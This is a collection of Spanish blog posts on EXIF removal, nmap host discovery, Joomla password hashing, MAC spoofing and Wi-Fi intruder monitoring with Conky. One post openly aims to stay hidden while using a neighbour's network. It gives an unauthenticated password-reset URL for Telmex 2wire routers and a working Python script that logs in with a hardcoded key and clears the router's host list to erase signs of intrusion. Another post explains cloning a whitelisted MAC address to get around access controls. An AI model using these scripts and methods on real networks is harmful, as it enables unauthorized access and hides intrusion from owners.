Eliminando com gimp información de los metadatos (exif) en imagenes que publicamos por Internet

Las camaras digitales suelen guardar información en cada fotografia, a estos datos suelen seguir una expecificación llamada exif (Exchangeable image file format) que describe una serie de formatos.

En ocaciones he leido de personas que han recuperado sus camaras/laps robadas por medio de fotografias publicadas por Internet. Por otra parte puede llegar a ser peligroso  que por medio de alguna imagen que publicas en Internet cualquier persona pueda llegar a saber que modelo de telefono celular tienes, camara digital o laptop, pues sitios como face, google, etc.. extrae esta información y la usan a su beneficio.

Puedes verificar estos datos por medio del comando exif, para esto es necesario instalarlo.

#instalando exif en ubuntu linux
apt-get install exif

Ahora si p.e tenemos una imagen llamada IMG184.jpg podemos ver sus datos de la siguiente manera:

exif IMG184.jpg

Esto nos deberia de mostrar algo como:

--------------------+----------------------------------------------------------
Etiqueta            |Valor
--------------------+----------------------------------------------------------
Descripción de la im|
Fabricante          |SONY
Modelo              |DSC-W110
Orientación         |Valor desconocido 0
Resolución X        |72.00
Unidad de resolución|Pulgadas
Resolución Y        |72.00
Software            |Picasa 3.0
Fecha y hora        |2009:05:23 11:43:38
Posicionamiento YCbC|co-situado
Ajuste de imagen PRI|28 bytes de datos indefinidos
Compresión          |Compresión JPEG
Resolución X        |72.00
Resolución Y        |72.00
Unidad de resolución|Pulgadas
Tiempo de exposición|1/40 seg.
Número F/Apertura   |f/2.8
Programa de exposici|Programa normal
Velocidad ISO       |400
Versión Exif        |Versión Exif 2.21
Fecha y Hora (origin|2009:05:23 11:43:38
Fecha y Hora (digita|2009:05:23 11:43:38
Configuración de com|Y Cb Cr -
Bits comprimidos por|4.00
Ajuste de exposición|0.00 EV
Valor máximo de aper|3.00 EV (f/2.8)
Modo de métrica     |Patrón
Fuente de luz       |Desconocido
Flash               |El flash se disparó, modo automático, luz de retorno detec
Distancia focal     |5.3 mm
Nota del fabricante |8508 bytes de datos indefinidos
FlashPixVersion     |FlashPix Version 1.0
Espacio de color    |Error interno (valor desconocido 65535)
PixelXDimension     |1600
PixelYDimension     |1200
Fuente de archivo   |DSC
Tipo de escena      |Directamente fotografiado
Render personalizado|Proceso normal
Modo de exposición  |Exposición automática
Balance de blancos  |Balance de blancos automático
Tipo de captura de e|Estándar
Contraste           |Normal
Saturación          |Normal
Nitidez             |Normal
Índice de interopera|R98
Versión de interoper|0100

Ahora si no quieres instalar dicho programa existe una herramienta de mineria de datos denominada foca, la cual existe un demo que funciona en linea, aqui puedes verificar los metadatos de tu imagen:

http://www.informatica64.com/foca/default.aspx

Quitando datos exif con gimp.

Lo primero que hacemos es abrir la imagen, le damos guardar como y remplazamos el archivo para que nos aparezca el siguiente mensaje:

remplazar

remplazar

Una vez que le demos remplazar debemos de deplezar las opciones avanzadas desactivamos el chekbox de “Guardar datos exif”:

Algo extra puedes hacer es guardar esta configuración como preterminada.

Detección de intrusos en nuestra WI-FI – con nmap

Hace un tiempo bajo el titulo de “Detección de intrusos en nuestra WI-FI”  publique un una técnica que se me ocurrió para realizar esta acción, en donde básicamente detectaba a los intrusos a partir del hecho que los routers típicos de telmex como los 2wire tienen una interfaz web(como se puede ver en la siguiente imagen) a la cual me conectaba y mediante un script en python para extraer los nombres de los equipos conectados.

red domestica

aqui se puede observar solo mi maquina fitorec conectada

Sin embargo esta técnica  tiene un par de inconvenientes, la primera es que no funciona para todos los routers, de hecho solo funciona para los que muestren la red de esta forma(a nivel código HTML) y la segunda(quizás la mas importante) es que descubrí que un intruso se puede conectar y borrar la cache de nuestro router ( Hackeando modems routers 2wire de telmex – técnica borrado de caché ), por tal motivo no podemos confiarnos del todo de la información que nos proporciona estos dispositivos, después de re-pensarle un poco encontré una solución mas eficiente basada en la inserción de sondas en la red con la herramienta nmap y de esta forma detectar a los intrusos.

Instalando nmap.

Esta técnica se basa del hecho que se tenga instalado previamente el nmap, recomiendo descargar e instalar la versión mas reciente (más info: http://nmap.org/book/install.html ),  ya que es una herramienta que evoluciona rápidamente (gracias a desarrolladores como Fyodor), sin embargo quizás es mas fácil la instalación por medio de una sola instrucción  la cual dejo a continuación.

#Lo primero que tenemos que hacer el loguearnos como super usuario(root user)
#instalación en sistemas basados en debian:(ubuntu, flujos-vivos, etc..)
apt-get install nmap
#instalación en sistemas basados en redhat:(fedora, centOS, etc..)
yum install nmap

Script para detección de intrusos hosts en una red.

Una vez que tenemos el nmap podemos correr el siguiente script el cual ahora solo muestra las IPs de los equipos conectados pues me parece mejor opción que los nombres de los hosts(revisar archivo de configuración del dhclient  /etc/dhcp3/dhclient.conf ).

Nota: en este script lo único que tienes que configurar es la interfaz por donde quieres detectar a los intrusos hosts(cambiar el valor de INTERFAZ=’valor’, p.e. si quiero explorar mi red Ethernet 0 seria INTERFAZ=’eth0′).

Fyodor
#!/bin/bash
#Autor: fitorec 
#Descripción: Detecta a los hosts conectados en nuestra red
#Requiere: nmap
#
#Atención: Lo único q requiere configurar es la interfaz en donde se desea escuchar
INTERFAZ='wlan0'

#Extraemos la configuración de la IP y mascara de red para usar con el nmap
CONFIG=`ip addr sh $INTERFAZ | grep -E -o "([0-9]+.){3}[0-9]+/[0-9]+" `

#Ejecutamos el nmap para detectar a los hosts conectados en nuestra red(posibles intrusos)
#Cachando sólo las IPs de los hosts conectados(para mostrarlos en el conky)
nmap -sP $CONFIG  | grep -o -E '([0-9]{1,3}\.){3}[0-9]+'

Explicación del código fuente.

Lo primero que cabe mencionar es que la variable INTERFAZ tiene el valor de wlan0 así al ejecutar el comando ip addr sh $INTERFAZ esto tomaría la forma de.

ip addr sh wlan0

Esto nos devuelve una serie de datos de lo cual para el nmap(que posteriormente utilizaremos) necesitamos la red y la mascara de red p.e. si nuestra red es 192.168.1.0 con mascara de red 255.255.255.0 (es 8+8+8+0=24bits) y somos el hosts 80, lo único que necesitamos es:  192.168.1.80/24, por tal motivo conducimos la salida de este comando por medio de una tubería (|)  para que sea filtrado con el grep por medio de la opción de expresión regular extendida -E y le pedimos que nos muestre lo único que nos interesa -o (revisar doc. grep). la expresión regular que hace esta tarea es la de ([0-9]+.){3}[0-9]+/[0-9]+ por lo tanto el comando:

ip addr sh wlan0  | grep -E -o "([0-9]+.){3}[0-9]+/[0-9]+"

Extra la información de la interfaz(wlan0) que necesitamos para el nmap, el cual es ejecutado (“)  y en la variable CONFIG almacenamos el resultado en este caso  192.168.1.80/24, al ejecutar el comando:

nmap -sP 192.168.1.80/24

Le pedimos al nmap que nos muestre solo (-sP)  las IPs de los hosts conectados en la red, cabe mencionar que el .80 no importa ya que al mandarle la mascara de red /24 explorara 255-2=253 hosts posibles,  de tal manera podemos limitar nuestra exploración e incluso explorar la misma Internet (Fyodoy lo hizo, hay un bonito vídeo por Internet), sin mas repetimos el mismo filtrado con el grep pero ahora con la expresión regular ( ([0-9]{1,3}\.){3}[0-9]+ ) para mostrar solo las IPs de los hosts conectados.

Finalmente quisiera agradecer a @mishudark ya que con el sostuve una entretenida conversación e intercambio de ideas respecto a las expresiones regulares utilizadas(se siguen aceptando ideas) , creo que coincidimos en el hecho de pensar que las regExs SON LA ONDA! :¬)

Hackeando modems routers 2wire de telmex – técnica borrado de caché

Hace un tiempo documente una técnica para la “Detección de intrusos en nuestra WI-FI“, hoy he decidido publicar una contra-parte, la parte obscura de como no ser detectado. Todo esto empezó con la historia que le paso a un amigo que solía tomar prestada la red de su vecino, continuación expongo su historia:

 

Esta historia realmente le paso a un amigo

Esta historia realmente le paso a un amigo

 

Antes que nada el hacking no es la intromisión a un sistema, más bien es la comprensión profunda/detallada de tal sistema.

Todo esto me dejo pensando respecto al funcionamiento de estos routers y de como hacerle para no ser detectados, por otra parte he visto algunos documentos respecto a otras técnica por ejemplo:

Cambiando password o reseteando password en modem 2wire

Donde nos explican como al realizar una solicitud al routeador por medio de la URL:

http://home/xslt?PAGE=CD35_SETUP_01_POST&password1=****&password2=****

Al sustituir ***** podemos setear el password de dicho routeador.

para mas info de esta vulnerabilidad seguir reporte [http://seclists.org/bugtraq/2009/Aug/96]

Pero que pasa si lo reseteamos el router?, tendremos Internet pero solo durante un tiempo  pues el “vecino”(victima) se artara y nos pasara lo mismo que mi amigo “toma tu RED“.

En cambio podemos pasar desapercibidos si tan solo borramos la cache del routeador, así cuando el vecino visite la pagina del sitio no vera ninguna maquinas conectada lo cual tal vez le intrigue un poco pero notara que tiene Intenet. por otra parte con el script que publique anteriormente pasara lo mismo pues este extrae la información de la misma pagina.

Sin más la dirección para borrar la cache es la siguiente:

http://home/management/xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET

Donde la URL /management/ refiere a un prefijo administrativo, en otras palabras es necesario logearse para acceder a dicha URL.

Debraye de análisis

–¿por que? es mas fácil resetear el password(no requiere autenticación) que borrar el cache…

En concreto no lo se, pero lo que si es obvio es que nos encontramos ante un problema grave en el diseño de estos routeadores, pues no creo que fuera su intensión el que existieran posts como este en donde se expone sus errores

Si partimos de  las  2 suposiciones respecto a la ruta que resetea el password:

1.- Se les paso incluir tal ruta a la sección q requiere autenticación /management/

2.- Así lo planificaron.

Si se les paso seria un error IMPERDONABLE!, lo cual me quedan mis dudas, yo opto más por la 2da que así lo planificaron dada su falta de experiencia o capacidad pues:

“No encontraron una forma segura  de como resetear la contraseña sin la necesidad de una autenticación previa”.

Y decidieron dejarlo así, subestimando a los usuarios y con la esperanza que nadie indague en sus sistemas.

Eso habla muy mal de ellos ya que normalmente los buenos routers consideran las interfaces de acceso físico(como cable consola y este caso interfaz ethernet) únicas para realizar tales tareas.

Consiguiendo la información del router:

Para acceder a la información no es necesario autenticarte, la pagina 7 es la que muestra al información al cual puedes acceder desde URL que te de acceso a tal información es:

http://home/xslt?PAGE=A07

Bien ahora si nos ponemos un poquito creativos, podemos hacer un script que automatice un poco tal acción y podemos acceder a dicha información sin salirnos de nuestra terminal:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
#Muestra la configuración de los ruteadores 2wire de telmex(bastante comunes)
#La salida es en un formato de XML

import urllib2, urllib
import re
ROUTER = "http://192.168.1.254"

MANAGEMENT = 'management'
DS = '/'
#en la pág. 07 esta la información de estos routers
PAGE = "A07"
#Preparamos/abrimos 1conexión para "leer" la pág. de la info del router
opener = urllib2.Request(ROUTER+DS+"xslt?PAGE=A07",None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre del routeador
expr  = re.compile('\<td\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
model = expr.findall(response)
#obtenemos los demas datos del router
expr  = re.compile('\<td\sclass\=\"data\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
data = expr.findall(response)

#las posiciones en la lista model definen la variable, ya que estan en función de como aparecen en la página
print """\
<?xml version="1.0"?>
<config>
<title>Demo Config</title>
	<router>
		<model>"""+model[0]+"""</model>
		<serial_number>"""+data[0]+"""</serial_number>
		<version_hardware>"""+data[1]+"""</version_hardware>
		<version_software>"""+data[2]+"""</version_software>
		<key_code>"""+data[3]+"""</key_code>
	</router>
</config>
"""

Este script esta disponible en: http://gist.github.com/619905

A partir de dicha información puedes ver los reportes para ver que vulnerabilidades tiene.

Pasar desapercibido borrando la cache del router

En cambio ya conseguiste el acceso a la configuracion del router lo que puedes hacer es borrar la información del cache cada determinado tiempo.

Si deseas visitar la url para borrar la cache el router no te lo permite ya que antes requieres identificarte, entonces previamente tienes que hacerlo y posteriormente resetear la cache.

Esto suele ser algo tedioso, así que decidí hacer un script que automatiza tal proceso(logearte y borrar la cache) y no les pase lo de mi amigo:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
#       Copyright 2010 Fitorec - <https://fitorec.wordpress.com>
#       2wireResetCache.py
#        ____      _                             .--.
#       | __ |(_) | |  ___   ____ ___   ____   | o_o |
#       | | _ | ||_ _|/ _ \ / __// _ \ / __/   | :_/  |
#       | __ || | | || (_) || | |  __/| (__   //      \\
#       |_|   |_| | | \___/ |_|  \___/ \___( (|        | )
#          https://fitorec.wordpress.com      /'\_      _/
#                                            \___)=(___/
#	Una ves conectado podemos pasar desapercibidos ante el administrador
#	de la red solo hay que revisar si existimos en el cache del router
#	si es así borramos el cache del router dejándolo vació como si no
#	hubiera ninguna máquina conectada a el.
#	se considera que la IP del router es 192.168.1.254 caso contrario cambiar
#	linea 24,también es necesario conocer la key del router (tip:normalmente los
#	usuarios inexpertos le suelen poner la misma que la clave WEB) y sustituir
#	dicha clave en la linea 24

import urllib2, urllib
import re
""" IP  y contraseña """
KEY	   = "7972247120"
ROUTER = "http://192.168.1.254"

#------------------------
MANAGEMENT = 'management'
DS = '/'
PAGE = "A02_POST"
THISPAGE = ""
NEXTPAGE = "J01"
CMSKICK = ""

def resetLanCache(password):
	cookie_h = urllib2.HTTPCookieProcessor()
	opener = urllib2.build_opener(cookie_h)
	urllib2.install_opener(opener)
	ua = 'Mozilla/5.0 (X11; U; Windows seven; es-ES; rv:1.9.0.11)'
	ua += ' Gecko/2009061118 Windows seven Firefox/3.0.11'
	h = {"User-Agent": ua}
	params = urllib.urlencode({"PASSWORD": password, "PAGE" : PAGE, "THISPAGE"  : THISPAGE, "NEXTPAGE" : NEXTPAGE, "CMSKICK" : CMSKICK})
	r = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt", headers=h)
	f = urllib2.urlopen(r,params)
	reset = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET",None,{})
	f = urllib2.urlopen(reset)
	htmlContent = f.read()
	f.close()

opener = urllib2.Request(ROUTER,None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre de las maquinas
expr  = re.compile('\<span\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/span\>')
compus = expr.findall(response)
#los dos primeros elementos son falsos y los quitamos
compus = compus[2:]
print 'Maquinas conectadas'
if len(compus)>0 :
	print "vamos a borrar las sig. maquinas"
	print compus
	resetLanCache(KEY)

 

fin

fin

 

Espero les sirva!.

P.D.  Existen técnicas por si eres el vecino y quieres atrapar a mi amigo, publicare una la próxima semana, bytes!!.

Hackmeeting 2010 en tierras zapotecas.

hackmitin 2010
Descargar Editable
fuente necesaria: AlArabiya

hackmitin 2010

Siguiendo el sendero del jaguar, desde tierras Aztecas llega a Oaxaca el Hackmitin 2010 los días 30,31 de octubre y 1ro de noviembre, en vísperas del celebrar nuestras fiestas prehispánicas de “nuestros muertos” tal evento a despertado interés en la comunidad hacker y aqueños indijenas urbanos Oaxaqueños que creemos en una comunalidad digital y nuestras tecnologías apropiadas para hacer frente a desafíos como la privacidad, la seguridad informática y la autonomía.

En esta extraña y muy grata combinación de tradición y tecnología con aroma a copal-empasúchi, sabor a mezcal-mole y aire de libertad, espero ansioso tal evento.

Enlaces y mayor información:

Como Joomla genera sus passwords

Hace un par de días realice un posts en donde unifico el sistema de autenticación de Joomla con otro sistema en PHP (ver posts), mientras realizaba y estudiaba el código del Joomla, note algunas cosas que aqui dejo para que no se me olviden y por a alguien más le sirve.

Joomla Divide el campo password en 2 partes.

Algo que caracteriza a joomla es que el campo password en 2 partes de forma encrypt’:’salt la segunda parte(salt) es una cadena generada de forma (seudo) aleatoria y es empleada en conjunto con una función dominante de la derivación (KDF) y la contraseña del usuario para generar  la primera parte encrypt como se muestra en la siguiente imagen.

Como joomla trata los passwords

Figura 1 . -Como joomla trata los passwords

Como se puede ver el password finalmente es la concatenación de la cadena salt y encrypt con el carácter ‘:‘ . El empleo de esta cadena salt es típica en los sistemas de cifrado y en seguridad informática la obtención de esta cadena salt un gran paso para la obtención de la contraseña(con un Dic. y FB).

Joomla emplea MD5 como mecanismo de cifrado.

Joomla al igual que la mayoría de los sistmas Web  cifra sus contraseñas con algún algoritmo de cifrado irreversible, Joomla emplea MD5 (al menos que se configure de forma contrario) , en la figura se ve como la cadena salt es obtenida mediante la función getSalt() dicha función se encuentra definida en las librerías del Joomla en la versión 1.5-1.6 se encuentra en:  JOOMLA1.6/libraries/joomla/user/helper.php (Descargar Joomla y cerciorarse )cuando es llamada con los parámetros por defecto lo que nos genera es:

$salt    = md5(mt_rand());

Como podemos observar emplea la función mt_rand, la cual nos devuelve un número pseudo aleatorio haciendo uso de la implementación de algoritmo Mersenne twister, esto es bueno ya que genera los números es un poco mas eficiente tanto en tiempo de ejecución como en el echo en que te garantiza que es el número generado es mas seudo aleatorio que el que se genera con el rand() que es como lo implementa típicamente lenguajes como C.

Por otra parte para obtener la cadena encrypt hace uso de la cadena salt generada previamente con los parametros por defecto toma el comportamiento como:

$crypt = md5($password.$salt);

Finalmente si quisiéramos hacer un sistema en donde se puedan registrar usuarios desde otra aplicación tendríamos que generar este comportamiento en nuestra aplicación, dejo aquí la función password que recibe una contraseña sin cifrar(tal como la recibe un formulario) y devuelve la contraseña como típicamente la generaría el joomla antes de guardar en su BD.

#genera un password en el formato como lo hace el joomla
#la El password lo genera en 2 partes P1:P2
#P1 Es el resultado del md5 de concatenación del password con P2
#P2 Es la cadena security salt generada con md5
#
#para mayor info respecto la cadena salt revisar la función getSalt
#definida en: JOOMLA1.6/libraries/joomla/user/helper.php
function password($password){
	$salt	= md5(mt_rand());
	$encrypt = md5($password.$salt);
	return $encrypt.':'.$salt;
}

#prueba con la contraseña admin
echo password('admin')."\n";

Código fuente disponible en:  http://gist.github.com/596732

No se recomienda tener más de un sistema de registro en un sistema ya que la duplicidad de funciones genera ambigüedades y por lo consiguiente inconsistencias (DIE), es por esto que si sólo la recomiendo en caso que bloquees los registros desde tu joomla.

Poniendo a prueba el sistema de generación de passwords.

Como se menciono previamente es una de las características del Joomla que genere una cadena salt por cada password, la pregunta seria ¿que tantan seguridad le brinda al sistema esta metodología de generación de passwords? y si ¿en lugar de md5 cambio la configuración por defecto para ocupar  otro mecanismo como sha1?.

Si cambiamos la función hash de md5 a sha1 para este mecanismo en lo personal considero que no mejora mucho ya que la cadena salt quedaría definida como sha1(mt_rand()) .A pesar que sha1 genera una cadena de 160bits a diferencia de md5 que genera una de 128bits ambas generarían la cadena hash del resultado obtenido por mt_rand(), algo análogo pasa con la cadena encrypt la cual seria  la cadena hash de la contraseña(en texto plano) concatenada con la cadena salt, algo similar a sh1(‘Contraseña’.$salt).

Por otra parte si observamos lo que cambia es que con md5 generamos 2 cadenas de 32 caracteres y el password final queda con 65caracteres  y con sha1 generamos 2 cadenas de 40 caracteres generando un password de 81caracteres, lo cual es un poco peligroso ya que si alguien llega a obtener el campo password de un usuario joomla automáticamente obtiene la cadena salt y encrypt y  al revisar la longitud de dichos campos sabe cual fue la funcion hash empleada para obtener la cadena crypt.

Por lo tanto la vulnerabilidad Seguridad de un campo password en joomla se encuentra delimitada por la prediccion de algoritmo Mersenne twister o de su implementacion en PHP mt_rand() , de los diccionarios disponibles para funciones hash (por ahí vi un Blog, vi un elegante  bot  que empleaba un diccionario cifrar MD5) y como siempre de la contraseña en texto plano de los usuarios….

Cambiando de Direccion Mac dinamicamente en Linux.

Las direcciones MAC(control de acceso al medio, por sus siglas en inglés “Media Access Control”) es una dirección de 48bits la cual sirve como identificador único para cada dispositivo de red(mas info http://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC). En algunas ocasiones los administradores de red restringen determinados servicios(p.e. el Internet)  teniendo como único parámetro esta dirección.

En el momento que los dispositivos se conectan a una red propagan su dirección MAC, en sistemas operativos como Linux y Unix es fácil hacer que nuestro equipo propaguen/escuchen otra dirección, especialmente el comando ifconfig nos permite visualizar y configurar los parametros de nuestras interfaces de red p.e. para visualizar las configuración de nuestras interfaces:

#visualizando la información de nuestros dispositivos

ifconfig

#nos deberia aparecer algo similar a.

eth0      Link encap:Ethernet  direcciónHW 00:2b:d1:1a:3f:25
ACTIVO DIFUSIÓN MULTICAST  MTU:1500  Métrica:1
Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:0 (0.0 B)  TX bytes:0 (0.0 B)
Interrupción:20 Dirección base: 0xa000

lo        Link encap:Bucle local
Direc. inet:127.0.0.1  Másc:255.0.0.0
Dirección inet6: ::1/128 Alcance:Anfitrión
ACTIVO BUCLE FUNCIONANDO  MTU:16436  Métrica:1
Paquetes RX:140 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:140 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:0
Bytes RX:75659 (75.6 KB)  TX bytes:75659 (75.6 KB)

wlan0     Link encap:Ethernet  direcciónHW 00:d3:e1:cb:75:98
Direc. inet:192.168.1.47  Difus.:255.255.255.255  Másc:255.255.255.0
Dirección inet6: fe80::216:e3ff:fe6b:8588/64 Alcance:Enlace
ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
Paquetes RX:131087 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:91988 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:136309413 (136.3 MB)  TX bytes:11742724 (11.7 MB)

#si deseamos ver la configuración de la interface eth0

ifconfig eth0

#el cual nos deberia mostrar algo similar a

eth0      Link encap:Ethernet  direcciónHW 00:2b:d1:1a:cf:98
ACTIVO DIFUSIÓN MULTICAST  MTU:1500  Métrica:1
Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:0 (0.0 B)  TX bytes:0 (0.0 B)
Interrupción:20 Dirección base: 0xa000

Como podemos ver nos aparece un parámetro el cual se denomina direcciónHW que refiere a la dirección de hardware o MAC. Para modificar la dirección lo primero que se requiere es tener permisos de administrador en el sistema(root) y ejecutar las siguiente sentencia:

#formato de sentencia
ifconfig [INTERFACE] hw ether [MAC]

#Si quisiéramos asignarle la direccion 00:2b:d1:1a:3f:25 a la interface eth0 la sentencia seria
ifconfig eth0 hw ether 00:2b:d1:1a:3f:25

Existe un comando denominado macchanger el cual nos realiza esta tarea la cual nos ayuda si p.e. nuestra MAC esta en una lista negra entonces con el macchanger podemos cambiar nuestra dirección por cualquier otra(incluso tiene un parámetro para hacerlo de forma aleatoria) si embargo, si podemos acceder a la red pero no tenemos determinado servicio entonces lo que podemos hacer es preguntarle a los demas hosts cual es su dirección MAC pues seguramente a alguna de ellas le brindan el servicio.

Para hacer esto lo se requiere de mapear la la red para esto el programa que recomiendo es el nmap(se puede con mucho otros como ettercap) esto lo hariamos con la sig intruccion.

#las siguientes instrucción se deberán ejecutar en modo super usuario.
#Supongamos que pertenecemos a la red 192.168.1.0 con la mascara de red
# 255.255.255.0 o bien 24 bits activados
# esto es Binario(11111111)=decimal(255)  8bits+8bits+8bits+0bits=24bits

#revisamos por los hots activos toda la red 192.168.1.0/24
nmap -sP 192.168.1.0/24

#Nota: con ettercap basta con hacer
ettercap -C
#nos aparecerá una interface bastante intuitiva.

Ahora si tenemos una lista de MAC validas para determinado servicio es posible identificarnos en el sistema como usuarios validos, esto siempre y cuando la MAC este disponible en la red(es decir el equipo propietario de dicha interface).

Fue cuando me puse a pensar en una solucion para este problema y se me ocurrio hacer un script que haga lo siguiente.

Nota: suponemos que que ya estamos conectados a la red(por que esa es otra historia) ya tenemos la lista de MACs validas.

1.- Escuchamos los equipos y sus MAC conectados a la red.

2.- De la lista de MACs validas seleccionamos una de forma aleatoria.

2.1. Si el equipo propietario de dicha MAC esta activo: Regresamos al paso (2)

2.2. Si no es asi: Asignamos la MAC al nuestro dispositivo y concluye el programa.

Nota: El script requiere que se tenga instalado el programa para mapeo de puertos ‘nmap’ en el sistema.

Como un detalle del código podemos ver como se puede cachar la MAC de un dispositivo a través de un grep y una expresión regular como se muestra en  la siguiente sentencia:

#mostrando la MAC de la interface eth0
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

#mostrando la MAC de la interface wlan0
ifconfig wlan0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

#lo cual es muy util para procesar a la hora de hacer un script p.e. en Bash
MyMAC=`ifconfig wlan0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'`
#ahora que en MyMAC tenemos la MAC de wlan0 podemos utilizar dicha variable
echo $MyMAC

A los administradores de red espero les sea útil y utilicen otras métricas(no solo la MAC)  para restringir los accesos a determinados servicios.

Deteccion de intrusos en nuestra WI-FI

Introducción:

Como bien sabemos las redes inalámbricas tienen un problema de seguridad nativo del medio(capa 1 modelo OSI) y en este caso  es el espectro electromagnético dispersado por la atmósfera el cual es compartido por todos, por esta razón por las redes inalámbricas son(y serán inseguras) dadas la naturaleza del medio.

Hace unos días por parte del equipo de SICÁ tuvimos la oportunidad de participar en el evento Ingenia que tuvo lugar en la cuidad de Oaxaca, entre las conferencias y talleres que tuvieron lugar hubo una que me llamo mucha la atención y fue la que dieron los amigos Diego(bugcillo) y el Nierox en este taller explicaron el uso de la suite aircrack-ng del como detectar redes inalámbricas, inyectar paquetes a dicha red y del como por medio de eucarísticas encuentra la key deseada.

Todo esto me dejo pensando en una solución a la detección de intrusos en nuestra red, y se me ocurrió una idea!.

Análisis

En este caso suponemos que somos nosotros los propietarios del servicio y que hemos sido atacados por algún intruso (p.e. mi vecino).

También suponemos que el servicio es Prodigy Infinitum de Telmex y que el modem routeador es un 2wire (que es lo + común).

Modem 2 WIRE telmex

Fig-1- Modem 2 WIRE telmex

Ahora si accedemos a la URL http://gateway.2wire.net/xslt o bien  (http://home/) estaremos entrando a la configuración de nuestro modem en donde en el main page nos muestra un resumen del sistema si vemos en la parte inferior nos daremos cuenta que aparecen las maquinas colgadas a nuestro modem en este caso[fig2] solo la mía(fitorec) como activada y las maquinas pc_x y pc_y como parte del cache de las conexiones pero a su vez ambas están inactivas.

red domestica

Fig2 .- Se puede observar solo la maquina fitorec conectada

Solución propuesta:

Como podemos ver el router monitorea constantemente los hosts conectados y es posible visualizar quienes están conectado si accedemos al router traves de un navegador. Para detectar a un intruso o un nuevo hosts en nuestra red a travez de esta técnica puede resultar algo tedioso, pues tendríamos que visitar el sitio del router cada determinado tiempo para ver  a los nuevos hosts conectados.

Pero si nos ponemos a pensar un par de minutos esto mismo pasa con los canales RSS, el correo electrónico, los mismos podcast, todos ellos normalmente tienen un cliente el cual se conecta con el servicio cada determinado tiempo para ver si hay nueva información. Esto ultimo me puso a pensar que se trata de  realizar un script que sea una especie de cliente que sirva para automatizar este proceso cada determinado tiempo y que de alguna manera nos notifique quienes están conectados a nuestra red.

Fue entonces cuando se me ocurrió utilizar el Conky el cual es una programa que se integra al escritorio de Linux y nos sirve para monitorear distintas cosas de nuestro systema como: memoria consumida, procesador en uso, …,  y también se le pueden agregar scripts de red  para generar notificaciones  de gmail, twittter, .. entre otros servicios.

Por otra parte el Conky también nos ayuda a descolar nuestro escritorio a qui dejo una cara del Conky:

un ejemplo del conky

un ejemplo del conky

Sin mas la solución propuesta es hacer un script para detectar los usuarios conectados a nuestro router y mostrarlos en nuestro escritoria a través de conky.

Implementación:

Detección de Hosts: la deteccion de hosts la vamos hacer accediendo a la URL http://gateway.2wire.net/xslt en donde vamos a parsear para buscar la imagen (http://gateway.2wire.net/icons/icon_small_pc.gif) la cual corresponde a una maquina activa y de existir dicha imagen el nombre del host activo en este caso fitorec se encuentra localizada entre las etiquetas:

<span class="textmono">fitorec</span>
De esta idea he generado el siguiente script:



codigo 2wireHosts.py script en python

codigo 2wireHosts.py script en python

Implementación 2:

Via twitter el amigo @gnuget David Valdez me envio una versión mejorada del script, la verdad le quedo muy bien y se ve asta elegante el código(1 saludo man):

Codigo desarrollado por gnuget

Codigo desarrollado por gnuget

Configurando Conky: pues bien ahora que ya tenemos un script para detectar los hosts en nuestra wifi ahora solo nos falta configurar nuestro Linux para que nos muestre esta info.  en su Escritorio.

Instalación

1.- creamos la carpeta donde estaran los archivos del compiz e ingresamos a la carpeta:

mkdir  ~/.config/conky

cd ~/.config/conky

2.- Descargamos el siguiente archivo de configuración para el conky al cual he nombrado rightTop ya que se posiciona en la esquina superior derecha de nuestro desktop.

wget http://gist.github.com/raw/259995/e9c8538cb6c45b7b7f063798262ed1566581680f/rightTop

Nota:

El este archivo de config. del  conky manda a llamar las siguientes fuentes.

Las caules debes de descargar e instalar antes de seguir los siguientes pasos.

3.- Descargamos el código de python que nos detecta los host conectados:

wget http://gist.github.com/raw/259463/7af5d194d0829530cd5bbae6b7463e7f477e1014/2wireHosts.py

4.- Y finalmente Ejecutamos nuestro conky con la siguiente instrucción:

conky -c rightTop

Corrida de ejemplo:

Aqui les dejo una corrida de ejemplo de una maquina que configure con edubuntu para una niña de 9años (a mi como me hubiera gustado conocer linux a esa edad)